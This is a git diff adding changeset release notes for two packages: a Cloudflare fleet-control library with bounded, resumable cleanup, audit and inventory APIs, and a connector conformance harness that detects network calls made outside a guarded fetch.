diff --git a/.changeset/README.md b/.changeset/README.md
deleted file mode 100644
index 37605505..00000000
--- a/.changeset/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Changesets
-
-Version and changelog management for the publishable packages
-(`@proofoftech/breakwater`, `@proofoftech/flowsafe`, and
-`@proofoftech/fleet-control`; `showcase` is private and never publishes).
-
-Every PR that changes published behavior adds a changeset:
-
-```bash
-pnpm exec changeset
-```
-
-Pick the affected package(s) and a semver bump, describe the change (this text
-becomes the CHANGELOG entry). On merge to `dev`, the version workflow
-(`.github/workflows/version.yml`) opens/updates a standing "Version Packages"
-PR against dev that applies the pending bumps. Releasing = merge that PR into
-dev, then immediately cut and merge the release PR (`dev` → `main`);
-`.github/workflows/release.yml` then publishes the bumped versions to npm with
-provenance (and refuses, loudly, if an unversioned changeset reached main).
-
-Docs: https://github.com/changesets/changesets
diff --git a/.changeset/bounded-attachment-scans.md b/.changeset/bounded-attachment-scans.md
new file mode 100644
index 00000000..6f9abc94
--- /dev/null
+++ b/.changeset/bounded-attachment-scans.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Harden account-wide D1 and R2 attachment scans with a request-bounded, page-independent resumable engine. Rechecked inventory drift, malformed provider metadata, non-string or repeated dispatch cursors, and page or item overflows now fail closed instead of allowing an incomplete absence proof.
diff --git a/.changeset/bounded-cleanup-receipts.md b/.changeset/bounded-cleanup-receipts.md
new file mode 100644
index 00000000..78611630
--- /dev/null
+++ b/.changeset/bounded-cleanup-receipts.md
@@ -0,0 +1,14 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Add token-driven bounded no-export cleanup with durable operation-keyed terminal receipts. `advanceCleanupDeployment()` performs at most one bounded scan chunk or one action group per call; the terminal call persists an immutable receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. Receipts survive same-key reprovisioning and force decommission; read them with `readCleanupReceipt()` and garbage-collect them explicitly with `pruneCleanupReceipts()` (database-time cutoff, stable order, limit 1..1,000). `cleanupDeploymentArtifacts()` and the default failed-provision rollback drain this engine on capable stacks.
+
+- **BEHAVIOR CHANGE:** No-export cleanup is narrowed to deployments that provably never authorized a candidate invocation. New records persist an invocation-authority carrier on their first durable write, and every candidate-invoking dispatch (external candidate upload, first maintenance request, version override, promotion) commits an authorization timestamp durably before the provider call. Authorized rows, legacy carrier-less rows at `application-resources-deployed` through `maintenance-armed`, and rows with external staging evidence now refuse toward export-backed decommissioning; trusted plain deployments keep no-export cleanup through `worker-deployed`.
+- **BEHAVIOR CHANGE:** Workers for Platforms and external-artifact deployments refuse no-export cleanup as an untrusted data binding and route to export-backed decommissioning.
+- **BEHAVIOR CHANGE:** A failed provision whose rollback admitted the bounded engine is durably `cleanup-advancing`. `provisionDeployment()` refuses to resume it with a fixed redirect to cleanup; complete the cleanup (receipt) and reprovision fresh. Previously the row kept its provisioning phase and could be retried as provisioning.
+- **BEHAVIOR CHANGE:** External-candidate and WFP failed-provision rollback no longer tears the deployment down. The engine refuses before any mutation, the row keeps its phase and stays provisioning-retryable, and teardown routes to export-backed decommissioning.
+- **BEHAVIOR CHANGE:** Cleanup completion releases the deployment's ownership claims; decommission claim behavior is unchanged. Force decommission releases current claims on capable stores, refuses during an active bounded cleanup, and on legacy lease implementations without `deleteReleasingClaims` deletes the row and leaves claims for later reconciliation. Force does not delete the ordinary Worker script or application R2, so do not reprovision the same names until residual physical resources are confirmed removed; provisioning fails closed on ownership mismatch.
+- **BEHAVIOR CHANGE:** `auditFleetDrift()` treats a deployment under active bounded cleanup as its own reconciliation authority: no expectation-based, orphan, or record-level findings (including `incomplete-provisioning`) while the cleanup intent is active.
+
+Add `ProvisionDeploymentOptions.failureCleanup: 'drain' | 'bounded'` (default `'drain'`); with `'bounded'` the rollback performs at most one bounded advance and surfaces the resumable outcome through the new `ProvisioningError.cleanup` field.
diff --git a/.changeset/bounded-decommission.md b/.changeset/bounded-decommission.md
new file mode 100644
index 00000000..06477316
--- /dev/null
+++ b/.changeset/bounded-decommission.md
@@ -0,0 +1,9 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Add token-driven bounded normal decommissioning for at-least-once control-plane Worker workflows. Fleet D1 owns scan progress. Each call performs at most one bounded scan chunk; only an exact matching verify may immediately consume that result through its single same-lease resource action. Other calls perform at most one lifecycle or resource action group.
+
+Persist an immutable database-export receipt authority before the first D1 scan or export. Retries after artifact commit or Fleet state-write loss converge on the same filesystem or R2 receipt; authority changes and byte collisions preserve the committed winner and fail closed. Custom bounded backends must expose the paired receipt authority and export capability. Queue-driven bounded decommissioning requires Workers Paid because its bounded multi-R2 read groups can exceed the Free plan external-subrequest limit.
+
+Add a root-only bounded backend-switch advance API that uses the same durable token and receipt guarantees. It binds teardown to one immutable switch snapshot and captured entry subphase, advances at most one release, R2 resource, scan chunk, or D1 action group per call, and preserves legacy recovery after a shell-less deployment reaches export authorization. A pending ordinary Worker requires lossless exact-version inspection, authoritative secret-name inventory, and its persisted Durable Object namespace identities. Custom switch providers must expose the bounded scan, receipt, database, residual, delete, and conditional pending-artifact inspection capabilities required by the durable state they resume.
diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md
new file mode 100644
index 00000000..3997ea9b
--- /dev/null
+++ b/.changeset/bounded-fleet-audit.md
@@ -0,0 +1,21 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Add a bounded, resumable fleet drift audit API with a durable, provider-neutral operation store. `advanceFleetAudit()` performs at most one bounded stage chunk per call — one global-stage slice of up to `maxItemsPerCall` items (1..2,000, default 500), or exactly one Fleet record's inspection and re-arm — against a `FleetOperationStore`; `D1FleetOperationStore` implements that port over the existing Fleet D1 binding with account-and-kind-scoped leases, lease-fenced guarded batches, and audit generation pinning. Call `start` with an operation id, the audited records, and `staleAfterMs`, then re-enqueue only the pending token each call returns. Start requires at most 10,000 records whose canonical bytes total at most 16 MiB, with each record within the 96 KiB staged-row byte bound and the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every record must satisfy the deployment identifier grammar, and an explicit generation must be a positive safe integer. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease; after the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals write nothing else. These accepted inputs are intentionally narrower than `auditFleetDrift()`, which does not require that identifier grammar, an explicit generation, or the bounded path's row and structure bounds. Read the findings back page by page with `readFleetAuditFindingsPage()` once the operation is terminal. Each page comes back in ordinal order whatever order the store's page arrived in and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call — absent only on an empty page, which is legal only when `done` is set. The reader verifies the page rather than trusting it: a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed`. `abandonFleetAuditOperation()` unblocks a stuck running operation and releases any pin an already-terminal one still holds.
+
+- `auditFleetDrift()` keeps its exact signature, refusal message, finding vocabulary, finding order, provider interaction order, return value, and stop behavior. It now drains the same decomposed stages in memory, and a frozen golden baseline (findings and the full store/backend/resolver call log) pins all of that.
+- **HARDENING:** the bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. The three resolvers, the inspection, the re-arm, and the segmented multi-duty `maintenance-stale` composition durably record a fixed template alone; any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails a non-throwing credential-substring and control-byte gate persists a fixed withheld-detail fallback instead of aborting the operation.
+- An audit start pins exactly one finalized `@proofoftech/fleet-control` R3 inventory generation and keeps it through completion, so a finding page stays interpretable against the exact generation it was computed from; only explicit result garbage collection, terminal failure, or abandonment releases it. A replayed start never re-resolves "latest": it reuses the persisted generation.
+- Every finding or fact must fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the codec's depth and node bounds. The coordinator detects an excess before the store sees the row, fails the whole operation with the durable `emission-bound-exceeded` reason, and releases the pin. One record's whole per-call emission set (its findings plus the cross-record ownership facts it newly claims) must also fit inside the one guarded D1 batch its `per-record` call commits — a ceiling of 99 rows: 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted, while 100 or more emitted rows fail. A record whose live inspection alone would emit 100 rows fails with the same reason rather than emitting a partial finding set.
+- The bounded path differs from the drain in exactly four classes: every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic; any unsafe finding detail, composed or passed through, becomes the fixed withheld-detail fallback; concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth, with the bounded path's typically older snapshot making both more likely; and `emission-bound-exceeded` (from the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart, while `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover.
+- Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither.
+- Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope.
+
+The operation store rejects invalid row-page selectors before schema work. Invalid public selectors use input-specific errors; malformed durable records retain `FleetOperationStateError`.
+
+`stageRows` rejects conflicting immutable staged payloads within its current batch. `commitProgress` refuses conflicting immutable payloads and missing item-update targets without advancing progress or retaining sibling mutations from that batch. Exact restaging remains idempotent. Replaying an uncertain commit requires the same intended run record and row payloads; composing a new transition requires reading persisted progress first. Database errors propagate to the trusted caller. Lease expiry can still leave earlier staged rows while the progress update refuses, so immutable retry payloads remain a caller obligation.
+
+`failOperation` accepts at most one item update. Terminal transitions refuse operation IDs belonging to another operation kind. Row-watermark refusals preserve sibling rows, and noncontiguous caller inserts below a claimed watermark refuse before SQL. See `FleetOperationLease` for the operation-store contract.
+
+The new `readFleetAuditFindingsPage()` resolves to the exported `FleetAuditFindingsPage` type, a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged.
diff --git a/.changeset/bounded-fleet-inventory.md b/.changeset/bounded-fleet-inventory.md
new file mode 100644
index 00000000..c7b11c9d
--- /dev/null
+++ b/.changeset/bounded-fleet-inventory.md
@@ -0,0 +1,21 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Add a bounded, resumable account inventory API with durable generations. `advanceFleetInventory()` performs at most one provider stage chunk per call against a `FleetInventoryRunStore`; `D1FleetInventoryRunStore` implements that port over the existing Fleet D1 binding with operation-keyed runs, lease-fenced guarded batches, generation pinning, and bounded garbage collection. Build the provider seam with `cloudflareFleetInventoryContext(client)`, call `start` with an operation id, then re-enqueue only the pending token each call returns. The final call returns a `FleetInventoryGenerationRef`; read the rows back as today's `FleetResourceInventory` with `readFleetInventoryGeneration()`. Budgets are caller-supplied and validated: `maxProviderRequests` 9..1,000 and `maxStagedRowsPerChunk` 1..2,000 (default 500).
+
+Starts reject malformed identity and inconsistent options before claiming durable run state. Chunk commits retain the operation's account, physical generation and options. Conflicting immutable row or fact payloads roll back sibling writes; duplicate keys refuse before SQL. Exact replay compares the intended run record as well as staged bytes, so a failed run at the same revision cannot be returned as a successful chunk. Database errors propagate, and callers must retain immutable payloads across uncertain responses and lease-expiry retries.
+
+Cross-account operation-ID collisions roll back the losing head claim and generation allocation. Exact failure and finalized continuation retries repair interrupted head cleanup while preserving newer operations and historical pin requirements. Future tokens refuse before fallback repair. Pruning retains active terminal generations until head cleanup finishes. Pin admission verifies the finalized physical target in its INSERT, preventing orphan pins when reclamation wins a concurrent call. Pin admission also checks retained row/fact manifests, so partial reclamation cannot create a pin over missing data. Finalization and pinning require dense row ordinals.
+
+- `collectFleetInventory()` keeps its exact signature, refusal message, provider encounter order, finding vocabulary, finding order, and result bytes. It now drains the same engine in memory, and a frozen golden baseline pins all of that. The one exception is the scale limit below.
+- **BEHAVIOR CHANGE (scale limit):** `collectFleetInventory()` is now subject to the same `maxProviderRequests` bound as a bounded run, capped at 1,000 per stage chunk, and six stages carry no resumption cursor so they must finish in one chunk. An account whose largest such stage needs more than 1,000 provider operations — in practice roughly 1,000 prefix-matching plain Workers, which `route-claims` reaches first — now rejects with `fleet inventory stage '<stage>' cannot complete one chunk within its provider request budget` instead of returning an inventory, where the previous single-pass enumeration completed under the 10,000-item collection bound. Nothing is written and no partial result is returned. There is deliberately no unbounded mode; narrow `scriptNamePrefix` to split such an account. See the fleet control guide for the stage list and the arithmetic.
+- Its options parameter gains the exported alias `CollectFleetInventoryOptions`. The shape is identical, so this is not a break.
+- **HARDENING:** the two durable finding details that previously interpolated a provider error string now store the fixed templates `registered script '<name>' could not be inspected` and `plain Worker '<name>' could not be inventoried`. The transient text stays call-local, so `collectFleetInventory()` still returns today's exact bytes while a persisted row carries no provider text.
+- **HARDENING:** a raw host-routing KV key name that is over-length or credential-shaped refuses the run; one that is merely unprintable or base64-shaped yields a `malformed-script-registration` finding naming the key by its listing ordinal rather than by its bytes. That finding is positionally attributable but does not carry the offending name.
+- Only a finalized generation is readable. The latest finalized generation reads without a pin; every older generation must be pinned before it is read, because pruning removes finalized-or-failed, non-latest, unpinned generations.
+- A generation is a point-in-time-per-stage snapshot, not a globally consistent one. A resource that changes between stages is recorded exactly as the single-call enumeration surfaces it.
+- Bounded cursor history beyond the last committed offset is deliberately out of scope: a single-pass resumable scan needs only the last offset.
+- **INTERNAL:** `inventoryBoundExceeded` is consolidated into `cloudflare-client-config.ts` and shared by both provider modules. The refusal messages are byte-identical.
+
+No existing public export changes shape, and the Worker subpath is unchanged.
diff --git a/.changeset/bounded-fleet-migration.md b/.changeset/bounded-fleet-migration.md
new file mode 100644
index 00000000..b6f681f8
--- /dev/null
+++ b/.changeset/bounded-fleet-migration.md
@@ -0,0 +1,9 @@
+---
+"@proofoftech/fleet-control": minor
+---
+
+Add durable fleet upgrades through `advanceFleetMigration()`, with a frozen target digest and per-item plan, one admission or plan step per call, first-error stopping, item paging and explicit abandonment. The bounded API requires a `FleetOperationStore` alongside the existing deployment store; custom deployment stores can continue using the one-call `migrateFleet()` drain.
+
+Fleet and provider state remain mutation authority. Continuations re-read that state under per-call deployment leases and recover cursor-loss windows through the shared migration engine. Public documentation describes accepted inter-call races, strict fresh-admission limits after Durable Object tag movement, at-least-once settlement, operation-store convergence residuals, and the repeated resolver/provider and whole-item-read costs. One step is not a fixed provider-request, CPU or row-read budget.
+
+The existing drain retains its recorded ordering and behavior apart from the separately documented correction to target application-binding validation during plain Worker upgrades.
diff --git a/.changeset/breakwater-conformance-calls-unobserved.md b/.changeset/breakwater-conformance-calls-unobserved.md
new file mode 100644
index 00000000..2868334d
--- /dev/null
+++ b/.changeset/breakwater-conformance-calls-unobserved.md
@@ -0,0 +1,12 @@
+---
+'@proofoftech/breakwater': minor
+---
+
+Say what the connector conformance harness established about an entry point a case deleted outright.
+An `INSTRUMENTATION_REPLACED` finding for a property that is gone at verification now reads
+`globalThis.fetch descriptor differs from the one the harness installed: absent property; calls made
+after the replacement were not observed`. The finding stopped at `absent property` before, which is
+also how the harness reports an entry point that still holds the installed trap, though a read after
+the deletion resolves through the prototype chain or to `undefined` and never to the trap. A finding
+for a replacement that is itself an accessor still says the harness did not check, and one for a data
+property that still holds the trap still carries no such clause.
diff --git a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md
new file mode 100644
index 00000000..306ab7a9
--- /dev/null
+++ b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md
@@ -0,0 +1,39 @@
+---
+'@proofoftech/breakwater': patch
+---
+
+Build the connector conformance report even when a case throws a value that cannot say what it is.
+The harness classified a thrown value with four separate `instanceof` reads; a value whose
+`getPrototypeOf` is a trap made the classification itself throw, so the run rejected with the trap's
+error and produced no report. One `classifyInvocationError` call now answers `boundary`, `policy`,
+`refusal` or `foreign` once, and a value it cannot read is `foreign`: the report carries the named
+`CASE_INVOCATION_FAILED` finding the contract requires. `createConnector` guards every read it makes
+of the connector's own thrown value — seven guards over eight reads, and none of them in
+`invokeConnector` — so that value reaches the harness intact and the execute error is still audited.
+
+Say what each diagnostic observed, and no more. A refusal on the supplied base transport reports the
+host the registered egress declaration does not cover, instead of asserting a bypass of
+`runtime.fetch` that did not happen — the connector used the transport the harness gave it. A
+`POLICIES_NOT_WIRED` `audit` finding for a case whose invocation failed says the invocation ended
+before a witness could be recorded, instead of asserting the subject reached its gate boundary. An
+`INSTRUMENTATION_REPLACED` finding for a replacement that is itself an accessor says the harness did
+not check whether later calls reached the trap, instead of leaving a silence that read as though it
+had. `SUBJECT_UNREGISTERED` names this copy of `createConnector()`, which is what a connector from a
+second copy of the package fails against. A thrown function is described as `a function` rather than
+by its source text. An escape whose address cannot be parsed — including one the URL global's
+disappearance makes unparseable — is recorded with a null host instead of raising inside the
+connector's own call.
+
+Record an escape observed after its case settled. A connector that keeps the supplied base transport
+or a trap reference alive past its case used to append to the case result's `escapes` array with no
+finding beside it, and — once the report was built — beside a `conformant: true` the caller was
+already holding. A case result now carries a snapshot of its own escapes, taken where those escapes
+become findings; a later observation is a run-level `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` finding whose
+reason names the settled case and carries no `case`. The report snapshots `findings` and `cases` and
+computes `conformant` from the snapshot, and an escape observed after that is dropped.
+
+`CONFORMANCE_LIMIT` points at
+[Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits)
+in the connector authoring guide, which states what a settled case's retained transport or trap
+reaches, what a read of the restored global after the run closes bypasses, and what a timed-out
+case's abandoned work never reaches.
diff --git a/.changeset/breakwater-conformance-late-escape-case-field.md b/.changeset/breakwater-conformance-late-escape-case-field.md
new file mode 100644
index 00000000..04c11c6b
--- /dev/null
+++ b/.changeset/breakwater-conformance-late-escape-case-field.md
@@ -0,0 +1,10 @@
+---
+'@proofoftech/breakwater': patch
+---
+
+Name the settled case on a late conformance finding as a field, not only in prose.
+`ConnectorConformanceFinding` gains an optional `observedAfterCase`, which carries the name of the
+case whose abandoned work produced a run-level finding — an escape or a finding that arrived after
+that case settled. Such a finding still carries no `case`, because the case's own result is already
+on the report, and its `reason` is unchanged, so a host that reads the sentence keeps reading it. A
+finding the probe phase produces carries no `observedAfterCase`: no case had settled.
diff --git a/.changeset/breakwater-conformance-limit-pointer.md b/.changeset/breakwater-conformance-limit-pointer.md
new file mode 100644
index 00000000..1abfa431
--- /dev/null
+++ b/.changeset/breakwater-conformance-limit-pointer.md
@@ -0,0 +1,13 @@
+---
+'@proofoftech/breakwater': patch
+---
+
+Point the connector conformance report's `limit` at the documented channel list. The field carried a
+paragraph naming the channels a run does not observe; it is now one sentence naming the permanent
+URL of
+[Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits),
+a section of the connector authoring guide that ships with the package and describes channels a run
+observes and channels it does not. A host that displays or stores `report.limit` sees the shorter
+text, and a host that asserts on its content asserts on the new sentence.
+`CONFORMANCE_LIMIT` is not exported from the package entry points, so consumers read it only as
+`report.limit`. Nothing about what the harness traps, records, snapshots or drops changes.
diff --git a/.changeset/complete-attachment-binding-identities.md b/.changeset/complete-attachment-binding-identities.md
new file mode 100644
index 00000000..a1dfe9ce
--- /dev/null
+++ b/.changeset/complete-attachment-binding-identities.md
@@ -0,0 +1,5 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
+Refuse incomplete Worker binding metadata during D1 and R2 attachment scans so cleanup cannot mistake an unreadable attachment for an unused resource.
diff --git a/.changeset/connector-conformance-harness.md b/.changeset/connector-conformance-harness.md
new file mode 100644
index 00000000..75e4a635
--- /dev/null
+++ b/.changeset/connector-conformance-harness.md
@@ -0,0 +1,58 @@
+---
+'@proofoftech/breakwater': minor
+---
+
+Export `assertConnectorConformance`, a case-scoped harness a consumer runs in its own suite. For each
+supplied case it builds the connector through a factory, hands it a trusted inert base transport and
+an audit logger to wire, and replaces `globalThis.fetch` and any supplied transport entry point with
+a trap that records the attempt and refuses. A case that reaches one fails with the named result
+`NETWORK_IO_OUTSIDE_RUNTIME_FETCH`, including when the connector catches the refusal. The supplied
+base transport refuses any host the registered manifest does not declare, so calling it around the
+guard fails the same way.
+
+On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion the case itself reverses before it settles is one of the channels listed under [Conformance limits](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits). When verification fails, the case is ineligible for the outcome check and proves `nothing`. An `INSTRUMENTATION_UNSUPPORTED` or `INSTRUMENTATION_REPLACED` finding during probe construction refuses the run.
+
+A case reports `CASE_INVOCATION_FAILED` when invocation setup fails or the invocation itself fails; the reason names the error's constructor, uses `unknown` when that name is unavailable, unreadable, or not a plain identifier of at most 64 characters, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications, and a setup failure carrying a harness refusal is reported as the escape behind it rather than as an invocation failure.
+
+The harness requires `TextEncoder` with its other host globals before a run starts, reports an entry point replaced before an install failure unwinds it, and names the phase — a settled case, or the probe factory — when an attempt or a finding arrives after it.
+
+Instrumentation is restored after the case settles, after a throw, after a partial install, and after
+a per-case timeout; a restoration that cannot be proved fails the run and ends it, rather than
+running later cases over a property the harness knows it could not put back. Entry points are
+instrumented **one at a time, in order, `globalThis.fetch` first**, and every property the harness
+writes is checked before it is written and verified after — both its own descriptor and the value a
+caller actually reads. An accessor, an inherited accessor, a locked property descriptor, a target
+that accepts a write and ignores it, and a target whose descriptor holds the replacement while the
+property still resolves to the original are all refused rather than skipped — for a supplied entry
+point the case is refused; for `globalThis.fetch` the whole run is when the refusal comes before any
+case runs, and the case is when a case's own work makes the global uninstrumentable mid-run. Either
+way the finding names the descriptor shape it found, and a failure at any entry point restores the
+whole rollback stack: a (d) install or (e) verification failure includes the failing entry point; an
+(a) validation or descriptor-read failure precedes capture and push, so the stack holds only the
+entry points attempted before it. A restore the target silently ignores
+is reported as a failed restoration. Two entry points naming one
+property is refused before any case runs, and so are two cases sharing a name, two entry points
+sharing a label, and an overlapping or nested run. A factory that throws is reported as a
+finding, not an opaque rejection. Each case is bounded by `timeoutMs`, 2000 ms by default; a case
+that times out ends the run and no further run is accepted in that isolate, because work abandoned by
+one case would otherwise be recorded against a later one. Put a test that expects a timeout last in
+its file, or in a file of its own.
+
+The harness certifies only a connector declaring `egressEnforcement: 'enforced'`. An empty case set
+is reported as an empty case set, and — for a connector that declares `egress` — a set whose cases
+never reach the supplied transport is reported as no transport evidence; neither is a pass, and a run
+with no cases raises one finding, not both. A case whose expectations depend on policies the factory
+did not wire is reported as a wiring failure naming the member, alongside the escape record, which is
+kept. Every report states the finite-case limit:
+
+> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits
+
+The harness itself uses no Node built-ins, no `vm`, and no filesystem, and runs on workerd. The
+barrel it ships from imports `@mastra/core/tools`, whose bundled chunks statically import Node
+built-ins under unprefixed specifiers, so a Worker importing the barrel needs Node.js compatibility
+enabled — the `nodejs_compat` compatibility flag, or a `compatibility_date` recent enough that your
+Workers runtime turns it on by default; check your runtime's compatibility-date documentation for
+that date. The flag is a necessary condition, not a sufficient one: the workerd build behind the
+runtime also has to load the barrel. Loading it crashed `workerd@1.20260730.1` during module
+resolution in this package's own workerd test pool, and `workerd@1.20260903.1` loads it, which is
+the build this repository pins through a pnpm override on `miniflare@5.20260730.0-alpha`.
diff --git a/.changeset/connector-egress-posture.md b/.changeset/connector-egress-posture.md
new file mode 100644
index 00000000..6cfbfac6
--- /dev/null
+++ b/.changeset/connector-egress-posture.md
@@ -0,0 +1,28 @@
+---
+'@proofoftech/breakwater': minor
+---
+
+Add an egress posture to the connector manifest. `permissions.egressEnforcement` declares whether
+the declared hosts bind the connector's actual traffic — `'enforced'` when every **HTTP** request
+leaves through `ConnectorRuntime.fetch`, `'declaration-only'` when a vendor SDK or child process
+carries its own transport. It is a claim about HTTP traffic, not about platform bindings (D1, KV, R2,
+service bindings), which the guard never sees, so a connector that issues no HTTP request at all is
+`'enforced'`. An omitted field resolves to `'declaration-only'`.
+
+`connectorEgressPosture(tool)` reads the resolved posture beside `connectorManifest(tool)`, and every
+connector audit event carries it as `detail.egressEnforcement`, so an operator can answer from the
+log which connectors declare enforcement. The logged value is the author's declaration resolved
+against the omitted-field default, not an observation of the connector's traffic.
+
+`policies.requireEgressEnforcement` refuses, at construction, a connector whose posture is not
+`'enforced'`; the single-tenant preset accepts and pins the same flag. Construction also rejects an
+`egressEnforcement` value outside the two literals. The Agent CLI adapters declare
+`'declaration-only'`, matching their documented child-process boundary — so a `createConnector()`
+call whose `policies` set `requireEgressEnforcement` cannot register an Agent CLI adapter, by
+design. Put the child behind a host network boundary, and pass that flag on the calls whose
+connectors declare `'enforced'`.
+
+Migration: `connectorManifest(tool)` returns `egressEnforcement` for every connector built by an
+Agent CLI factory, which the adapters declare as `'declaration-only'`. An assertion comparing a
+returned manifest for exact equality with a literal fails until that key is added to the expected
+object.
diff --git a/.changeset/direct-cloudflare-workers.md b/.changeset/direct-cloudflare-workers.md
new file mode 100644
index 00000000..b6f7d863
--- /dev/null
+++ b/.changeset/direct-cloudflare-workers.md
@@ -0,0 +1,21 @@
+---
+'@proofoftech/fleet-control': minor
+---
+
+Add `CloudflareApiPlainWorkerBackend`, a direct Cloudflare API backend for platform-authored ordinary Workers. Its adapter classifies each mutation's dispatch under the operation's own execution context, so a queued mutation's pre-dispatch failure rejects instead of resolving `{ status: 'failed' }`. Construct it with a plain-only `CloudflareProvisioningClient`. Configure that client with a shared rate coordinator and a durable export store. The existing Wrangler and Workers for Platforms backends keep their public provisioning contracts.
+
+Expose the configured provider request timeout through the public `CloudflareProvisioningClient.requestTimeoutMs` getter.
+
+Harden provider behavior across the built-in backends:
+
+- **BEHAVIOR CHANGE:** Disable Cloudflare SDK logging even when `CLOUDFLARE_LOG` requests verbose output.
+- **BEHAVIOR CHANGE:** Bound every paginated Cloudflare inventory and fail instead of truncating an over-bound result.
+- **BEHAVIOR CHANGE:** Disable SDK retries for Worker upload and deployment, D1 creation and query, and each D1 export poll. This includes the D1 query path shared by both provider backends.
+- **BEHAVIOR CHANGE:** Redact signed URLs, provider response details, headers, and original causes from database export failures.
+- **BEHAVIOR CHANGE:** Replace uploaded secret plaintext in **ordinary-Worker** provider error messages, and in the cause chain of transport failures behind them, before returning a failed mutation outcome.
+- **BEHAVIOR CHANGE:** Surface a lost lease before database or R2 reconciliation in all three affected create paths.
+- **BEHAVIOR CHANGE:** Reject `PlainWorkerBackend.identityCaller` values that are not printable, single-line ASCII tokens from 1 through 128 characters.
+- **BEHAVIOR CHANGE:** Refuse a reconciled Worker upload whose workers.dev or preview-URL state does not match the intent instead of accepting it by tag rediscovery.
+- **BEHAVIOR CHANGE:** Queued provider mutations assert their own lease. Under concurrency pressure a queued mutation previously ran under the preceding operation's execution context.
+
+When upgrading, construct direct ordinary-Worker clients with `plane: 'plain-worker'` and no `dispatchNamespace`. Keep `dispatchNamespace` on Workers for Platforms clients, provide one quota coordinator across every replica sharing a provider token, and ensure the token can complete the documented attachment scans before destructive teardown.
diff --git a/.changeset/durable-export-parent-directories.md b/.changeset/durable-export-parent-directories.md
new file mode 100644
index 00000000..fadbeb22
--- /dev/null
+++ b/.changeset/durable-export-parent-directories.md
@@ -0,0 +1,7 @@
+---
+'@proofoftech/fleet-control': patch
+---
+
